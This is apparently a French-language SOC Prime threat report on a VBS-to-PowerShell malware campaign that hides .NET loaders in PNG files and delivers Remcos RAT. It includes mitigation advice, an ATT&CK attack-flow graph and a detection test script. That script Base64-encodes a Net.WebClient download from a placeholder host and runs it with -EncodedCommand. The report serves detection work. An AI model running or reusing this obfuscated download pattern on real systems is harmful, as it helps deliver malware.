SOC Prime Bias: Moyenne

25 Mar 2026 17:26

Traçage d’une campagne de malware multi-vectorielle : Du VBS à l’infrastructure ouverte

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Traçage d’une campagne de malware multi-vectorielle : Du VBS à l’infrastructure ouverte
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport couvre une campagne de malware modulaire et à plusieurs étapes qui commence par un chargeur VBS obfusqué par Unicode, passe à un chargeur PowerShell sans fichier, et utilise des fichiers PNG pour cacher une assembly .NET qui est ensuite exécutée en mémoire. De là, la campagne peut délivrer plusieurs charges utiles, y compris Remcos RAT, des DLL pour contourner l’UAC, et des outils basés sur Python. L’acteur de menace héberge l’ensemble de l’outil dans des répertoires accessibles publiquement sous un seul domaine .xyz et plusieurs sous-domaines soutenus par Cloudflare, permettant un échange rapide des charges utiles et plusieurs chemins de livraison comme des PDFs armés et des scripts batch malveillants.

Enquête

Le SOC de détection MDR de LevelBlue a détecté l’artefact VBS initial via SentinelOne, l’a mis en quarantaine, et a décodé le script pour analyse. Les enquêteurs ont trouvé une commande PowerShell encodée en Base64 qui téléchargeait des fichiers PNG contenant des assemblies .NET incorporées, qui ont ensuite été chargées directement en mémoire via réflexion. Un examen plus large de l’infrastructure a révélé des répertoires ouverts servant non seulement des chargeurs VBS supplémentaires, mais aussi des fichiers batch malveillants, des archives ZIP, et des charges utiles Python liées à la même campagne.

Atténuation

Les défenses recommandées incluent de restreindre l’exécution de types de scripts à haut risque tels que .vbs et .bat à partir de chemins accessibles par l’utilisateur, d’appliquer des contrôles stricts sur l’utilisation de PowerShell, et de surveiller le chargement .NET en mémoire suspect. Les défenseurs devraient également bloquer les domaines .xyz et inspecter ou restreindre de près le trafic WebDAV abusé par le biais de fichiers de raccourci Internet. Au niveau du réseau, filtrer l’accès à l’infrastructure malveillante connue peut aider à interrompre la campagne plus tôt.

Réponse

Si cette activité est détectée, isolez le point d’extrémité impacté, bloquez tous les domaines et URLs associés, et recherchez les artefacts VBS et PowerShell pertinents. Les enquêteurs devraient rechercher en mémoire l’assembly .NET réflectif et examiner le système pour les tâches planifiées ou les fichiers créés à partir des répertoires exposés. Le contenu de détection devrait être mis à jour pour identifier la mise en scène de charge utile basée sur PNG et tout composant batch ou Python lié à la campagne.

"graph TB %% Class definitions classDef action fill:#c2e0ff classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef infrastructure fill:#d9ffcc %% Nodes node_vbs_file["<b>Malware</b> – <b>Name</b>: Malicious VBS<br/><b>Location</b>: UsersPublicDownloadsName_File.vbs"] class node_vbs_file malware node_t1059_005["<b>Technique</b> – T1059.005 Command and Scripting Interpreter: Visual Basic<br/><b>Description</b>: Execute VBS script to run commands"] class node_t1059_005 technique node_t1027["<b>Technique</b> – T1027 Obfuscated Files or Information<br/><b>Description</b>: Use Unicode and Base64 obfuscation"] class node_t1027 technique node_vbs_decode["<b>Action</b> – Decode Base64 PowerShell command"] class node_vbs_decode action node_t1059_001["<b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b>: Execute PowerShell commands"] class node_t1059_001 technique node_tls12["<b>Action</b> – Force TLS1.2 for network connections"] class node_tls12 action node_download_png["<b>Action</b> – Download PNG payload from HTTP URL"] class node_download_png action node_t1071_001["<b>Technique</b> – T1071.001 Application Layer Protocol: Web Protocols<br/><b>Description</b>: Use HTTP/HTTPS for transfer"] class node_t1071_001 technique node_t1659["<b>Technique</b> – T1659 Content Injection<br/><b>Description</b>: Inject malicious content into legitimate files"] class node_t1659 technique node_png_extraction["<b>Action</b> – Extract Base64 .NET assembly from PNG"] class node_png_extraction action node_t1620["<b>Technique</b> – T1620 Reflective Code Loading<br/><b>Description</b>: Load .NET assembly directly in memory"] class node_t1620 technique node_loader["<b>Malware</b> – PhantomVAI .NET loader"] class node_loader malware node_fetch_payloads["<b>Action</b> – Fetch additional payload URLs"] class node_fetch_payloads action node_remcos_rat["<b>Malware</b> – Remcos Remote Access Trojan"] class node_remcos_rat malware node_uac_bypass["<b>Technique</b> – T1548.002 Bypass User Account Control<br/><b>Description</b>: Elevation control mechanism bypass"] class node_uac_bypass technique node_scheduled_task["<b>Technique</b> – T1053 Scheduled Task/Job<br/><b>Description</b>: Create scheduled task for persistence"] class node_scheduled_task technique node_secondary_stage["<b>Action</b> – Deploy batch and Python scripts"] class node_secondary_stage action node_process_injection["<b>Technique</b> – T1055 Process Injection<br/><b>Description</b>: Inject payloads into running processes"] class node_process_injection technique node_download_further["<b>Action</b> – Download additional files from Cloudflare directories"] class node_download_further action node_c2_communication["<b>Technique</b> – T1102.002 Web Service: Bidirectional Communication<br/><b>Description</b>: HTTPS C2 traffic using web services"] class node_c2_communication technique node_open_directory["<b>Infrastructure</b> – Open directory hosting (news4me.xyz, Cloudflare)"] class node_open_directory infrastructure %% Connections node_vbs_file –>|uses| node_t1059_005 node_vbs_file –>|uses| node_t1027 node_vbs_file –>|executes| node_vbs_decode node_vbs_decode –>|executes| node_t1059_001 node_vbs_decode –>|forces| node_tls12 node_vbs_decode –>|downloads| node_download_png node_download_png –>|uses| node_t1071_001 node_download_png –>|may use| node_t1659 node_download_png –>|contains| node_png_extraction node_png_extraction –>|loads via| node_t1620 node_t1620 –>|loads| node_loader node_loader –>|fetches| node_fetch_payloads node_fetch_payloads –>|delivers| node_remcos_rat node_fetch_payloads –>|delivers| node_uac_bypass node_loader –>|creates| node_scheduled_task node_loader –>|spawns| node_secondary_stage node_secondary_stage –>|performs| node_process_injection node_secondary_stage –>|downloads| node_download_further node_download_further –>|communicates with| node_c2_communication node_c2_communication –>|hosted on| node_open_directory "

Flux d’Attaque

Exécution de Simulation

Prérequis : Le Contrôle Préparatoire de Télémétrie & Baseline Doit Avoir Réussi.

Rationale : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer exactement la télémétrie attendue par la logique de détection.

  • Narratif d’Attaque & Commandes :

    Un adversaire a obtenu une command PowerShell en une ligne qui télécharge une charge utile malveillante depuis un serveur HTTP distant et l’exécute. Pour échapper à une détection simple de fichier script, la commande est encodée en Base64 et exécutée via powershell.exe -EncodedCommand. La ligne de commande contient donc les trois chaînes que la règle surveille : powershell, Base64, et Net.WebClient.

    1. L’attaquant conçoit le script PowerShell :

      $wc = New-Object System.Net.WebClient;
      $wc.DownloadString('http://malicious.example/payload');
    2. Le script est encodé en UTF-16LE et ensuite en Base64.

    3. L’attaquant exécute la commande encodée depuis un invite de commande Windows (ou une tâche planifiée).

  • Script de Test Régression :

    # --------------------------------------------------------------
    # Script PowerShell pour simuler le téléchargement Net.WebClient encodé en Base64
    # --------------------------------------------------------------
    
    # 1. Définir la commande PowerShell malveillante en une ligne
    $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');'
    
    # 2. Encoder la commande en UTF-16LE puis en Base64
    $bytes   = [System.Text.Encoding]::Unicode.GetBytes($malicious)
    $b64     = [Convert]::ToBase64String($bytes)
    
    # 3. Exécuter la commande encodée – cette ligne génère la télémétrie
    #    que la règle Sigma recherche (powershell + Base64 + Net.WebClient)
    powershell.exe -EncodedCommand $b64
  • Commandes de Nettoyage :

    # --------------------------------------------------------------
    # Nettoyage – terminer tout processus PowerShell errant démarré par le test
    # --------------------------------------------------------------
    
    Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } |
        Stop-Process -Force
    
    # Supprimer tous les fichiers temporaires (aucun créé dans ce test)

Fin du Rapport